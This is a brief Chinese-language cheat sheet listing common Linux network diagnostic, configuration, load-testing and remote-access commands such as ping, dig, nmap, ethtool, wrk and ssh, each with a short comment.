ping google.com
# 到对端路由检测
tracepath google.com
# 域名检测
dig google.com
nslookup google.com
# 网络扫描工具
nmap
# 压力测试
iperf
# 全方位监控工具(好东西)
nmon

配置工具

1
2
3
4
5
6
# 停止某个网卡
ifdown
# 开启某个网卡
ifup
# 多功能管理工具
ethtool

压力测试

1
2
3
4
wrk
ab
webbench
http_load

多功能工具

1
2
3
4
5
6
# 远程登录
telnet
ssh
nc
# 防火墙
iptables -L

参考 Linux之《荒岛余生》(五)网络篇